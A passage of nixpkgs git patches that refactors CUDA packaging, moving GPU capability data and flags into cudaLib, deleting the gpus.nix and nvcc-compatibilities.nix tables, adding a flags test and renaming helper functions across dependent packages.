   packageOlder = p1: p2: lib.versionOlder p1.version p2.version;
-  packageSupportedPlatform = p: p.redistArch == redistArch;
+  packageSupportedPlatform = p: p.redistSystem == redistSystem;
 
   # Compute versioned attribute name to be used in this package set
   # Patch version changes should not break the build, so we only use major and minor
   # computeName :: Package -> String
-  computeName = package: mkVersionedPackageName pname package.version;
+  computeName =
+    { version, ... }: cudaLib.utils.mkVersionedName pname (lib.versions.majorMinor version);
 
   # The newest package for each major-minor version, with newest first.
   # newestPackages :: List Package
@@ -113,7 +108,7 @@ let
       buildPackage =
         package:
         let
-          shims = final.callPackage shimsFn { inherit package redistArch; };
+          shims = final.callPackage shimsFn { inherit package redistSystem; };
           name = computeName package;
           drv = final.callPackage ./manifest.nix {
             inherit pname redistName;
diff --git a/pkgs/development/cuda-modules/gpus.nix b/pkgs/development/cuda-modules/gpus.nix
deleted file mode 100644
index a5466a2ef15f..000000000000
--- a/pkgs/development/cuda-modules/gpus.nix
+++ /dev/null
@@ -1,244 +0,0 @@
-# Type aliases
-#
-# Gpu = {
-#   archName: String
-#     - The name of the microarchitecture.
-#   computeCapability: String
-#     - The compute capability of the GPU.
-#   isJetson: Boolean
-#     - Whether a GPU is part of NVIDIA's line of Jetson embedded computers. This field is
-#       notable because it tells us what architecture to build for (as Jetson devices are
-#       aarch64).
-#       More on Jetson devices here:
-#       https://www.nvidia.com/en-us/autonomous-machines/embedded-systems/
-#       NOTE: These architectures are only built upon request.
-#   minCudaVersion: String
-#     - The minimum (inclusive) CUDA version that supports this GPU.
-#   dontDefaultAfter: null | String
-#     - The CUDA version after which to exclude this GPU from the list of default capabilities
-#       we build. null means we always include this GPU in the default capabilities if it is
-#       supported.
-#   maxCudaVersion: null | String
-#     - The maximum (exclusive) CUDA version that supports this GPU. null means there is no
-#       maximum.
-# }
-#
-# Many thanks to Arnon Shimoni for maintaining a list of these architectures and capabilities.
-# Without your work, this would have been much more difficult.
-# https://arnon.dk/matching-sm-architectures-arch-and-gencode-for-various-nvidia-cards/
-#
-# https://en.wikipedia.org/wiki/CUDA#GPUs_supported
-
-[
-  {
-    # Tesla K40
-    archName = "Kepler";
-    computeCapability = "3.5";
-    isJetson = false;
-    minCudaVersion = "10.0";
-    dontDefaultAfter = "11.0";
-    maxCudaVersion = "11.8";
-  }
-  {
-    # Tesla K80
-    archName = "Kepler";
-    computeCapability = "3.7";
-    isJetson = false;
-    minCudaVersion = "10.0";
-    dontDefaultAfter = "11.0";
-    maxCudaVersion = "11.8";
-  }
-  {
-    # Tesla/Quadro M series
-    archName = "Maxwell";
-    computeCapability = "5.0";
-    isJetson = false;
-    minCudaVersion = "10.0";
-    dontDefaultAfter = "11.0";
-    maxCudaVersion = null;
-  }
-  {
-    # Quadro M6000, GeForce 900, GTX-970, GTX-980, GTX Titan X
-    archName = "Maxwell";
-    computeCapability = "5.2";
-    isJetson = false;
-    minCudaVersion = "10.0";
-    dontDefaultAfter = "11.0";
-    maxCudaVersion = null;
-  }
-  {
-    # Tegra (Jetson) TX1 / Tegra X1, Drive CX, Drive PX, Jetson Nano
-    archName = "Maxwell";
-    computeCapability = "5.3";
-    isJetson = true;
-    minCudaVersion = "10.0";
-    dontDefaultAfter = null;
-    maxCudaVersion = null;
-  }
-  {
-    # Quadro GP100, Tesla P100, DGX-1 (Generic Pascal)
-    archName = "Pascal";
-    computeCapability = "6.0";
-    isJetson = false;
-    minCudaVersion = "10.0";
-    dontDefaultAfter = null;
-    maxCudaVersion = null;
-  }
-  {
-    # GTX 1080, GTX 1070, GTX 1060, GTX 1050, GTX 1030 (GP108), GT 1010 (GP108) Titan Xp, Tesla
-    # P40, Tesla P4, Discrete GPU on the NVIDIA Drive PX2
-    archName = "Pascal";
-    computeCapability = "6.1";
-    isJetson = false;
-    minCudaVersion = "10.0";
-    dontDefaultAfter = null;
-    maxCudaVersion = null;
-  }
-  {
-    # Integrated GPU on the NVIDIA Drive PX2, Tegra (Jetson) TX2
-    archName = "Pascal";
-    computeCapability = "6.2";
-    isJetson = true;
-    minCudaVersion = "10.0";
-    dontDefaultAfter = null;
-    maxCudaVersion = null;
-  }
-  {
-    # DGX-1 with Volta, Tesla V100, GTX 1180 (GV104), Titan V, Quadro GV100
-    archName = "Volta";
-    computeCapability = "7.0";
-    isJetson = false;
-    minCudaVersion = "10.0";
-    dontDefaultAfter = null;
-    maxCudaVersion = null;
-  }
-  {
-    # Jetson AGX Xavier, Drive AGX Pegasus, Xavier NX
-    archName = "Volta";
-    computeCapability = "7.2";
-    isJetson = true;
-    minCudaVersion = "10.0";
-    dontDefaultAfter = null;
-    maxCudaVersion = null;
-  }
-  {
-    # GTX/RTX Turing – GTX 1660 Ti, RTX 2060, RTX 2070, RTX 2080, Titan RTX, Quadro RTX 4000,
-    # Quadro RTX 5000, Quadro RTX 6000, Quadro RTX 8000, Quadro T1000/T2000, Tesla T4
-    archName = "Turing";
-    computeCapability = "7.5";
-    isJetson = false;
-    minCudaVersion = "10.0";
-    dontDefaultAfter = null;
-    maxCudaVersion = null;
-  }
-  {
-    # NVIDIA A100 (the name “Tesla” has been dropped – GA100), NVIDIA DGX-A100
-    archName = "Ampere";
-    computeCapability = "8.0";
-    isJetson = false;
-    minCudaVersion = "11.2";
-    dontDefaultAfter = null;
-    maxCudaVersion = null;
-  }
-  {
-    # Tesla GA10x cards, RTX Ampere – RTX 3080, GA102 – RTX 3090, RTX A2000, A3000, RTX A4000,
-    # A5000, A6000, NVIDIA A40, GA106 – RTX 3060, GA104 – RTX 3070, GA107 – RTX 3050, RTX A10, RTX
-    # A16, RTX A40, A2 Tensor Core GPU
-    archName = "Ampere";
-    computeCapability = "8.6";
-    isJetson = false;
-    minCudaVersion = "11.2";
-    dontDefaultAfter = null;
-    maxCudaVersion = null;
-  }
-  {
-    # Jetson AGX Orin and Drive AGX Orin only
-    archName = "Ampere";
-    computeCapability = "8.7";
-    isJetson = true;
-    minCudaVersion = "11.5";
-    dontDefaultAfter = null;
-    maxCudaVersion = null;
-  }
-  {
-    # NVIDIA GeForce RTX 4090, RTX 4080, RTX 6000, Tesla L40
-    archName = "Ada";
-    computeCapability = "8.9";
-    isJetson = false;
-    minCudaVersion = "11.8";
-    dontDefaultAfter = null;
-    maxCudaVersion = null;
-  }
-  {
-    # NVIDIA H100 (GH100)
-    archName = "Hopper";
-    computeCapability = "9.0";
-    isJetson = false;
-    minCudaVersion = "11.8";
-    dontDefaultAfter = null;
-    maxCudaVersion = null;
-  }
-  {
-    # NVIDIA H100 (GH100) (Thor)
-    archName = "Hopper";
-    computeCapability = "9.0a";
-    isJetson = false;
-    minCudaVersion = "12.0";
-    dontDefaultAfter = null;
-    maxCudaVersion = null;
-  }
-  {
-    # NVIDIA B100
-    archName = "Blackwell";
-    computeCapability = "10.0";
-    isJetson = false;
-    minCudaVersion = "12.8";
-    dontDefaultAfter = null;
-    maxCudaVersion = null;
-  }
-  {
-    # NVIDIA B100 Accelerated
-    archName = "Blackwell";
-    computeCapability = "10.0a";
-    isJetson = false;
-    minCudaVersion = "12.8";
-    dontDefaultAfter = "12.0"; # disable to reduce size of OnnxRuntime and Torch CUDA binaries
-    maxCudaVersion = null;
-  }
-  {
-    # NVIDIA Blackwell
-    archName = "Blackwell";
-    computeCapability = "10.1";
-    isJetson = false;
-    minCudaVersion = "12.8";
-    dontDefaultAfter = "12.0"; # disable to reduce size of OnnxRuntime and Torch CUDA binaries
-    maxCudaVersion = null;
-  }
-  {
-    # NVIDIA Blackwell Accelerated
-    archName = "Blackwell";
-    computeCapability = "10.1a";
-    isJetson = false;
-    minCudaVersion = "12.8";
-    dontDefaultAfter = "12.0"; # disable to reduce size of OnnxRuntime and Torch CUDA binaries
-    maxCudaVersion = null;
-  }
-  {
-    # NVIDIA GeForce RTX 5090 (GB202), RTX 5080 (GB203), RTX 5070 (GB205)
-    archName = "Blackwell";
-    computeCapability = "12.0";
-    isJetson = false;
-    minCudaVersion = "12.8";
-    dontDefaultAfter = null;
-    maxCudaVersion = null;
-  }
-  {
-    # NVIDIA Blackwell Accelerated
-    archName = "Blackwell";
-    computeCapability = "12.0a";
-    isJetson = false;
-    minCudaVersion = "12.8";
-    dontDefaultAfter = "12.0"; # disable to reduce size of OnnxRuntime and Torch CUDA binaries
-    maxCudaVersion = null;
-  }
-]
diff --git a/pkgs/development/cuda-modules/nvcc-compatibilities.nix b/pkgs/development/cuda-modules/nvcc-compatibilities.nix
deleted file mode 100644
index e4be18ea85ab..000000000000
--- a/pkgs/development/cuda-modules/nvcc-compatibilities.nix
+++ /dev/null
@@ -1,125 +0,0 @@
-# Taken from
-# https://docs.nvidia.com/cuda/cuda-installation-guide-linux/index.html#host-compiler-support-policy
-#
-#   NVCC performs a version check on the host compiler’s major version and so newer minor versions
-#   of the compilers listed below will be supported, but major versions falling outside the range
-#   will not be supported.
-#
-# NOTE: These constraints don't apply to Jetson, which uses something else.
-# NOTE: NVIDIA can and will add support for newer compilers even during patch releases.
-# E.g.: CUDA 12.2.1 maxxed out with support for Clang 15.0; 12.2.2 added support for Clang 16.0.
-# NOTE: Because all platforms NVIDIA supports use GCC and Clang, we omit the architectures here.
-# Type Aliases
-# CudaVersion = String (two-part version number, e.g. "11.2")
-# Platform = String (e.g. "x86_64-linux")
-# CompilerCompatibilities = {
-#  clangMaxMajorVersion = String (e.g. "15")
-#  clangMinMajorVersion = String (e.g. "7")
-#  gccMaxMajorVersion = String (e.g. "11")
-#  gccMinMajorVersion = String (e.g. "6")
-# }
-let
-  # attrs :: AttrSet CudaVersion CompilerCompatibilities
-  attrs = {
-    # Our baseline
-    # https://docs.nvidia.com/cuda/archive/11.0/cuda-toolkit-release-notes/index.html#cuda-compiler-new-features
-    "11.0" = {
-      clangMaxMajorVersion = "9";
-      clangMinMajorVersion = "7";
-      gccMaxMajorVersion = "9";
-      gccMinMajorVersion = "6";
-    };
-
-    # Added support for Clang 10 and GCC 10
-    # https://docs.nvidia.com/cuda/archive/11.1.1/cuda-toolkit-release-notes/index.html#cuda-compiler-new-features
-    "11.1" = attrs."11.0" // {
-      clangMaxMajorVersion = "10";
-      gccMaxMajorVersion = "10";
-    };
-
-    # Added support for Clang 11
-    # https://docs.nvidia.com/cuda/archive/11.2.2/cuda-installation-guide-linux/index.html#system-requirements
-    "11.2" = attrs."11.1" // {
-      clangMaxMajorVersion = "11";
-    };
-
-    # No changes from 11.2 to 11.3
-    "11.3" = attrs."11.2";
-
-    # Added support for Clang 12 and GCC 11
-    # https://docs.nvidia.com/cuda/archive/11.4.4/cuda-toolkit-release-notes/index.html#cuda-general-new-features
-    "11.4" = attrs."11.3" // {
-      clangMaxMajorVersion = "12";
-      # NOTE: There is a bug in the version of GLIBC that GCC 11 uses which causes it to fail to compile some CUDA
-      # code. As such, we skip it for this release, and do the bump in 11.6 (skipping 11.5).
-      # https://forums.developer.nvidia.com/t/cuda-11-5-samples-throw-multiple-error-attribute-malloc-does-not-take-arguments/192750/15
-      # gccMaxMajorVersion = "11";
-    };
-
-    # No changes from 11.4 to 11.5
-    "11.5" = attrs."11.4";
-
-    # No changes from 11.5 to 11.6
-    # However, as mentioned above, we add GCC 11 this release.
-    "11.6" = attrs."11.5" // {
-      gccMaxMajorVersion = "11";
-    };
-
-    # Added support for Clang 13
-    # https://docs.nvidia.com/cuda/archive/11.7.1/cuda-toolkit-release-notes/index.html#cuda-compiler-new-features
-    "11.7" = attrs."11.6" // {
-      clangMaxMajorVersion = "13";
-    };
-
-    # Added support for Clang 14
-    # https://docs.nvidia.com/cuda/archive/11.8.0/cuda-installation-guide-linux/index.html#system-requirements
-    "11.8" = attrs."11.7" // {
-      clangMaxMajorVersion = "14";
-    };
-
-    # Added support for GCC 12
-    # https://docs.nvidia.com/cuda/archive/12.0.1/cuda-installation-guide-linux/index.html#system-requirements
-    "12.0" = attrs."11.8" // {
-      gccMaxMajorVersion = "12";
-    };
-
-    # Added support for Clang 15
-    # https://docs.nvidia.com/cuda/archive/12.1.1/cuda-toolkit-release-notes/index.html#cuda-compilers-new-features
-    "12.1" = attrs."12.0" // {
-      clangMaxMajorVersion = "15";
-    };
-
-    # Added support for Clang 16
-    # https://docs.nvidia.com/cuda/archive/12.2.2/cuda-installation-guide-linux/index.html#host-compiler-support-policy
-    "12.2" = attrs."12.1" // {
-      clangMaxMajorVersion = "16";
-    };
-
-    # No changes from 12.2 to 12.3
-    "12.3" = attrs."12.2";
-
-    # Added support for Clang 17 and GCC 13
-    # https://docs.nvidia.com/cuda/archive/12.4.0/cuda-installation-guide-linux/index.html#host-compiler-support-policy
-    "12.4" = attrs."12.3" // {
-      clangMaxMajorVersion = "17";
-      gccMaxMajorVersion = "13";
-    };
-
-    # No changes from 12.4 to 12.5
-    "12.5" = attrs."12.4";
-
-    # Added support for Clang 18
-    # https://docs.nvidia.com/cuda/archive/12.6.0/cuda-installation-guide-linux/index.html#host-compiler-support-policy
-    "12.6" = attrs."12.4" // {
-      clangMaxMajorVersion = "18";
-    };
-
-    # Added support for Clang 19 and GCC 14
-    # https://docs.nvidia.com/cuda/archive/12.8.0/cuda-installation-guide-linux/index.html#host-compiler-support-policy
-    "12.8" = attrs."12.6" // {
-      clangMaxMajorVersion = "19";
-      gccMaxMajorVersion = "14";
-    };
-  };
-in
-attrs
diff --git a/pkgs/development/cuda-modules/tensorrt/shims.nix b/pkgs/development/cuda-modules/tensorrt/shims.nix
index d347ef7e294c..b452a515404c 100644
--- a/pkgs/development/cuda-modules/tensorrt/shims.nix
+++ b/pkgs/development/cuda-modules/tensorrt/shims.nix
@@ -1,14 +1,14 @@
 # Shims to mimic the shape of ../modules/generic/manifests/{feature,redistrib}/release.nix
 {
   package,
-  # redistArch :: String
+  # redistSystem :: String
   # String is `"unsupported"` if the given architecture is unsupported.
-  redistArch,
+  redistSystem,
 }:
 {
   featureRelease = {
     inherit (package) cudnnVersion minCudaVersion maxCudaVersion;
-    ${redistArch}.outputs = {
+    ${redistSystem}.outputs = {
       bin = true;
       lib = true;
       static = true;
diff --git a/pkgs/development/cuda-modules/tests/flags.nix b/pkgs/development/cuda-modules/tests/flags.nix
new file mode 100644
index 000000000000..d9ae72231c6c
--- /dev/null
+++ b/pkgs/development/cuda-modules/tests/flags.nix
@@ -0,0 +1,78 @@
+{
+  cudaLib,
+  cudaNamePrefix,
+  lib,
+  runCommand,
+}:
+let
+  inherit (builtins) deepSeq toJSON tryEval;
+  inherit (cudaLib.data) cudaCapabilityToInfo;
+  inherit (cudaLib.utils) formatCapabilities;
+  inherit (lib.asserts) assertMsg;
+in
+# When changing names or formats: pause, validate, and update the assert
+assert assertMsg (
+  cudaCapabilityToInfo ? "7.5" && cudaCapabilityToInfo ? "8.6"
+) "The following test requires both 7.5 and 8.6 be known CUDA capabilities";
+assert
+  let
+    expected = {
+      cudaCapabilities = [
+        "7.5"
+        "8.6"
+      ];
+      cudaForwardCompat = true;
+
+      # Sorted alphabetically
+      archNames = [
+        "Ampere"
+        "Turing"
+      ];
+
+      realArches = [
+        "sm_75"
+        "sm_86"
+      ];
+
+      virtualArches = [
+        "compute_75"
+        "compute_86"
+      ];
+
+      arches = [
+        "sm_75"
+        "sm_86"
+        "compute_86"
+      ];
+
+      gencode = [
+        "-gencode=arch=compute_75,code=sm_75"
+        "-gencode=arch=compute_86,code=sm_86"
+        "-gencode=arch=compute_86,code=compute_86"
+      ];
+
+      gencodeString = "-gencode=arch=compute_75,code=sm_75 -gencode=arch=compute_86,code=sm_86 -gencode=arch=compute_86,code=compute_86";
+
+      cmakeCudaArchitecturesString = "75;86";
+    };
+    actual = formatCapabilities {
+      inherit cudaCapabilityToInfo;
+      cudaCapabilities = [
+        "7.5"
+        "8.6"
+      ];
+    };
+    actualWrapped = (tryEval (deepSeq actual actual)).value;
+  in
+  assertMsg (expected == actualWrapped) ''
+    Expected: ${toJSON expected}
+    Actual: ${toJSON actualWrapped}
+  '';
+runCommand "${cudaNamePrefix}-tests-flags"
+  {
+    __structuredAttrs = true;
+    strictDeps = true;
+  }
+  ''
+    touch "$out"
+  ''
diff --git a/pkgs/top-level/cuda-packages.nix b/pkgs/top-level/cuda-packages.nix
index 70aaf15362f0..60bc5c0dd953 100644
--- a/pkgs/top-level/cuda-packages.nix
+++ b/pkgs/top-level/cuda-packages.nix
@@ -22,6 +22,7 @@
 # I've (@connorbaker) attempted to do that, though I'm unsure of how this will interact with overrides.
 {
   config,
+  cudaLib,
   cudaMajorMinorVersion,
   lib,
   newScope,
@@ -37,31 +38,33 @@ let
     strings
     versions
     ;
+
   # MUST be defined outside fix-point (cf. "NAMESET STRICTNESS" above)
   fixups = import ../development/cuda-modules/fixups { inherit lib; };
-  gpus = import ../development/cuda-modules/gpus.nix;
-  nvccCompatibilities = import ../development/cuda-modules/nvcc-compatibilities.nix;
-  flags = import ../development/cuda-modules/flags.nix {
-    inherit
-      config
-      cudaMajorMinorVersion
-      gpus
-      lib
-      stdenv
-      ;
-  };
 
-  mkVersionedPackageName =
-    name: version: name + "_" + strings.replaceStrings [ "." ] [ "_" ] (versions.majorMinor version);
+  # Since Jetson capabilities are never built by default, we can check if any of them were requested
+  # through final.config.cudaCapabilities and use that to determine if we should change some manifest versions.
+  # Copied from backendStdenv.
+  jetsonCudaCapabilities = lib.filter (
+    cudaCapability: cudaLib.data.cudaCapabilityToInfo.${cudaCapability}.isJetson
+  ) cudaLib.data.allSortedCudaCapabilities;
+  hasJetsonCudaCapability =
+    lib.intersectLists jetsonCudaCapabilities (config.cudaCapabilities or [ ]) != [ ];
+  redistSystem = cudaLib.utils.getRedistSystem hasJetsonCudaCapability stdenv.hostPlatform.system;
 
   passthruFunction = final: {
+    # NOTE:
+    # It is important that cudaLib (and fixups, which will be addressed later) are not part of the package set
+    # fixed-point.
+    # As described by @SomeoneSerge:
+    # > The layering should be: configuration -> (identifies/is part of) cudaPackages -> (is built using) cudaLib.
+    # > No arrows should point in the reverse directions.
+    # That is to say that cudaLib should only know about package sets and configurations, because it implements
+    # functionality for interpreting configurations, resolving them against data, and constructing package sets.
     inherit
       cudaMajorMinorVersion
       fixups
-      flags
-      gpus
       lib
-      nvccCompatibilities
       pkgs
       ;
 
@@ -71,10 +74,6 @@ let
     cudaOlder = strings.versionOlder cudaMajorMinorVersion;
     cudaAtLeast = strings.versionAtLeast cudaMajorMinorVersion;
 
-    # NOTE: mkVersionedPackageName is an internal, implementation detail and should not be relied on by outside consumers.
-    # It may be removed in the future.
-    inherit mkVersionedPackageName;
-
     # Maintain a reference to the final cudaPackages.
     # Without this, if we use `final.callPackage` and a package accepts `cudaPackages` as an
     # argument, it's provided with `cudaPackages` from the top-level scope, which is not what we
@@ -85,6 +84,21 @@ let
       __attrsFailEvaluation = true;
     };
 
+    flags =
+      cudaLib.utils.formatCapabilities {
+        inherit (final.backendStdenv) cudaCapabilities cudaForwardCompat;
+        inherit (cudaLib.data) cudaCapabilityToInfo;
+      }
+      # TODO(@connorbaker): Enable the corresponding warnings in `../development/cuda-modules/aliases.nix` after some
+      # time to allow users to migrate to cudaLib and backendStdenv.
+      // {
+        inherit (cudaLib.utils) dropDots;
+        cudaComputeCapabilityToName =
+          cudaCapability: cudaLib.data.cudaCapabilityToInfo.${cudaCapability}.archName;
+        dropDot = cudaLib.utils.dropDots;
+        isJetsonBuild = final.backendStdenv.hasJetsonCudaCapability;
+      };
+
     # Loose packages
     # Barring packages which share a home (e.g., cudatoolkit and cudatoolkit-legacy-runfile), new packages
     # should be added to ../development/cuda-modules/packages in "by-name" style, where they will be automatically
@@ -131,7 +145,10 @@ let
             value = final.callPackage ../development/cuda-modules/tests/opencv-and-torch config;
           };
       in
-      attrsets.listToAttrs (attrsets.mapCartesianProduct builder configs);
+      attrsets.listToAttrs (attrsets.mapCartesianProduct builder configs)
+      // {
+        flags = final.callPackage ../development/cuda-modules/tests/flags.nix { };
+      };
   };
 
   composedExtension = fixedPoints.composeManyExtensions (
@@ -146,10 +163,10 @@ let
       (import ../development/cuda-modules/cuda/extension.nix { inherit cudaMajorMinorVersion lib; })
       (import ../development/cuda-modules/generic-builders/multiplex.nix {
         inherit
+          cudaLib
           cudaMajorMinorVersion
-          flags
           lib
-          mkVersionedPackageName
+          redistSystem
           stdenv
           ;
         pname = "cudnn";
@@ -159,28 +176,25 @@ let
       })
       (import ../development/cuda-modules/cutensor/extension.nix {
         inherit
+          cudaLib
           cudaMajorMinorVersion
-          flags
           lib
-          mkVersionedPackageName
-          stdenv
+          redistSystem
           ;
       })
       (import ../development/cuda-modules/cusparselt/extension.nix {
         inherit
-          cudaMajorMinorVersion
-          flags
+          cudaLib
           lib
-          mkVersionedPackageName
-          stdenv
+          redistSystem
           ;
       })
       (import ../development/cuda-modules/generic-builders/multiplex.nix {
         inherit
+          cudaLib
           cudaMajorMinorVersion
-          flags
           lib
-          mkVersionedPackageName
+          redistSystem
           stdenv
           ;
         pname = "tensorrt";
@@ -193,7 +207,9 @@ let
       })
       (import ../development/cuda-modules/cuda-library-samples/extension.nix { inherit lib stdenv; })
     ]
-    ++ lib.optionals config.allowAliases [ (import ../development/cuda-modules/aliases.nix) ]
+    ++ lib.optionals config.allowAliases [
+      (import ../development/cuda-modules/aliases.nix { inherit lib; })
+    ]
   );
 
   cudaPackages = customisation.makeScope newScope (
diff --git a/pkgs/top-level/release-cuda.nix b/pkgs/top-level/release-cuda.nix
index 356ec5196b69..4ddda47a766d 100644
--- a/pkgs/top-level/release-cuda.nix
+++ b/pkgs/top-level/release-cuda.nix
@@ -14,20 +14,7 @@
 
 let
   lib = import ../../lib;
-  ensureList = x: if builtins.isList x then x else [ x ];
-  allowUnfreePredicate =
-    p:
-    builtins.all (
-      license:
-      license.free
-      || builtins.elem license.shortName [
-        "CUDA EULA"
-        "cuDNN EULA"
-        "cuSPARSELt EULA"
-        "cuTENSOR EULA"
-        "NVidia OptiX EULA"
-      ]
-    ) (ensureList p.meta.license);
+  cudaLib = import ../development/cuda-modules/lib;
 in
 
 {
@@ -40,7 +27,7 @@ in
   # Attributes passed to nixpkgs.
   nixpkgsArgs ? {
     config = {
-      inherit allowUnfreePredicate;
+      allowUnfreePredicate = cudaLib.utils.allowUnfreeCudaPredicate;
       "${variant}Support" = true;
       inHydra = true;
 

From a818a59d9fd813bf007c1d55c050bf54b93fd557 Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Thu, 15 May 2025 21:00:40 +0000
Subject: [PATCH 0101/4511] cudaPackages.fixups -> pkgs.cudaFixups

(cherry picked from commit 765529dfff5cb04cd8ebf9275c9bccc9473fcbb5)
---
 .../cuda-modules/fixups/default.nix            |  5 +++--
 .../cuda-modules/generic-builders/manifest.nix |  4 ++--
 pkgs/top-level/all-packages.nix                |  2 ++
 pkgs/top-level/cuda-packages.nix               | 18 +++++-------------
 4 files changed, 12 insertions(+), 17 deletions(-)

diff --git a/pkgs/development/cuda-modules/fixups/default.nix b/pkgs/development/cuda-modules/fixups/default.nix
index 9166e413bb71..a5ec4a90e817 100644
--- a/pkgs/development/cuda-modules/fixups/default.nix
+++ b/pkgs/development/cuda-modules/fixups/default.nix
@@ -1,5 +1,6 @@
-{ lib }:
-
+let
+  lib = import ../../../../lib;
+in
 lib.concatMapAttrs (
   fileName: _type:
   let
diff --git a/pkgs/development/cuda-modules/generic-builders/manifest.nix b/pkgs/development/cuda-modules/generic-builders/manifest.nix
index f4eecc29f4dc..712db3bd5b99 100644
--- a/pkgs/development/cuda-modules/generic-builders/manifest.nix
+++ b/pkgs/development/cuda-modules/generic-builders/manifest.nix
@@ -5,9 +5,9 @@
   autoPatchelfHook,
   backendStdenv,
   callPackage,
+  cudaFixups,
   cudaLib,
   fetchurl,
-  fixups,
   lib,
   markForCudatoolkitRootHook,
   flags,
@@ -45,7 +45,7 @@ let
   # Last step before returning control to `callPackage` (adds the `.override` method)
   # we'll apply (`overrideAttrs`) necessary package-specific "fixup" functions.
   # Order is significant.
-  maybeFixup = fixups.${pname} or null;
+  maybeFixup = cudaFixups.${pname} or null;
   fixup = if maybeFixup != null then callPackage maybeFixup { } else { };
 
   # Get the redist systems for which package provides distributables.
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 54ef290488f5..7499ad9b62b1 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -2725,6 +2725,8 @@ with pkgs;
 
   cudaLib = import ../development/cuda-modules/lib;
 
+  cudaFixups = import ../development/cuda-modules/fixups;
+
   cudaPackages_11_0 = callPackage ./cuda-packages.nix { cudaMajorMinorVersion = "11.0"; };
   cudaPackages_11_1 = callPackage ./cuda-packages.nix { cudaMajorMinorVersion = "11.1"; };
   cudaPackages_11_2 = callPackage ./cuda-packages.nix { cudaMajorMinorVersion = "11.2"; };
diff --git a/pkgs/top-level/cuda-packages.nix b/pkgs/top-level/cuda-packages.nix
index 60bc5c0dd953..5870d383291e 100644
--- a/pkgs/top-level/cuda-packages.nix
+++ b/pkgs/top-level/cuda-packages.nix
@@ -26,7 +26,6 @@
   cudaMajorMinorVersion,
   lib,
   newScope,
-  pkgs,
   stdenv,
 }:
 let
@@ -39,9 +38,6 @@ let
     versions
     ;
 
-  # MUST be defined outside fix-point (cf. "NAMESET STRICTNESS" above)
-  fixups = import ../development/cuda-modules/fixups { inherit lib; };
-
   # Since Jetson capabilities are never built by default, we can check if any of them were requested
   # through final.config.cudaCapabilities and use that to determine if we should change some manifest versions.
   # Copied from backendStdenv.
@@ -54,19 +50,15 @@ let
 
   passthruFunction = final: {
     # NOTE:
-    # It is important that cudaLib (and fixups, which will be addressed later) are not part of the package set
-    # fixed-point.
-    # As described by @SomeoneSerge:
+    # It is important that cudaLib and cudaFixups are not part of the package set fixed-point. As described by
+    # @SomeoneSerge:
     # > The layering should be: configuration -> (identifies/is part of) cudaPackages -> (is built using) cudaLib.
     # > No arrows should point in the reverse directions.
     # That is to say that cudaLib should only know about package sets and configurations, because it implements
     # functionality for interpreting configurations, resolving them against data, and constructing package sets.
-    inherit
-      cudaMajorMinorVersion
-      fixups
-      lib
-      pkgs
-      ;
+    # This decision is driven both by a separation of concerns and by "NAMESET STRICTNESS" (see above).
+
+    inherit cudaMajorMinorVersion;
 
     cudaNamePrefix = "cuda${cudaMajorMinorVersion}";
 

From a92ac4cd5a206609c46441ed3890306652b07fb2 Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Thu, 15 May 2025 20:49:17 +0000
Subject: [PATCH 0102/4511] tree-wide: cudaPackages.flags updates

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit ead65813623f92f8630811b1b3616877a727b1d9)
---
 pkgs/applications/science/misc/colmap/default.nix         | 2 +-
 pkgs/by-name/dl/dlib/package.nix                          | 2 +-
 pkgs/by-name/gp/gpu-burn/package.nix                      | 4 ++--
 pkgs/by-name/mi/mistral-rs/package.nix                    | 2 +-
 pkgs/by-name/mo/moshi/package.nix                         | 2 +-
 pkgs/by-name/ti/tiny-cuda-nn/package.nix                  | 2 +-
 pkgs/development/libraries/science/math/magma/generic.nix | 2 +-
 7 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/pkgs/applications/science/misc/colmap/default.nix b/pkgs/applications/science/misc/colmap/default.nix
index c28c1b15b96e..39c5798ff096 100644
--- a/pkgs/applications/science/misc/colmap/default.nix
+++ b/pkgs/applications/science/misc/colmap/default.nix
@@ -46,7 +46,7 @@ stdenv'.mkDerivation rec {
   cmakeFlags = lib.optionals cudaSupport [
     (lib.cmakeBool "CUDA_ENABLED" true)
     (lib.cmakeFeature "CMAKE_CUDA_ARCHITECTURES" (
-      lib.strings.concatStringsSep ";" (map cudaPackages.flags.dropDot cudaCapabilities)
+      lib.strings.concatStringsSep ";" (map cudaPackages.flags.dropDots cudaCapabilities)
     ))
   ];
 
diff --git a/pkgs/by-name/dl/dlib/package.nix b/pkgs/by-name/dl/dlib/package.nix
index 16c34f2168dc..c37e2f7c8889 100644
--- a/pkgs/by-name/dl/dlib/package.nix
+++ b/pkgs/by-name/dl/dlib/package.nix
@@ -42,7 +42,7 @@
     ]
     ++ lib.optionals cudaSupport [
       (lib.cmakeFeature "DLIB_USE_CUDA_COMPUTE_CAPABILITIES" (
-        builtins.concatStringsSep "," (with cudaPackages.flags; map dropDot cudaCapabilities)
+        builtins.concatStringsSep "," (with cudaPackages.flags; map dropDots cudaCapabilities)
       ))
     ];
 
diff --git a/pkgs/by-name/gp/gpu-burn/package.nix b/pkgs/by-name/gp/gpu-burn/package.nix
index 2028427c96c1..8f95db66b43c 100644
--- a/pkgs/by-name/gp/gpu-burn/package.nix
+++ b/pkgs/by-name/gp/gpu-burn/package.nix
@@ -17,7 +17,7 @@ let
     cuda_nvcc
     libcublas
     ;
-  inherit (cudaPackages.flags) cudaCapabilities dropDot isJetsonBuild;
+  inherit (cudaPackages.flags) cudaCapabilities dropDots isJetsonBuild;
 in
 backendStdenv.mkDerivation {
   pname = "gpu-burn";
@@ -53,7 +53,7 @@ backendStdenv.mkDerivation {
 
   makeFlags = [
     "CUDAPATH=${getBin cuda_nvcc}"
-    "COMPUTE=${last (map dropDot cudaCapabilities)}"
+    "COMPUTE=${last (map dropDots cudaCapabilities)}"
     "IS_JETSON=${boolToString isJetsonBuild}"
   ];
 
diff --git a/pkgs/by-name/mi/mistral-rs/package.nix b/pkgs/by-name/mi/mistral-rs/package.nix
index 18d3eccf6e3f..a3c22e807014 100644
--- a/pkgs/by-name/mi/mistral-rs/package.nix
+++ b/pkgs/by-name/mi/mistral-rs/package.nix
@@ -60,7 +60,7 @@ let
       ))
     else
       cudaCapability;
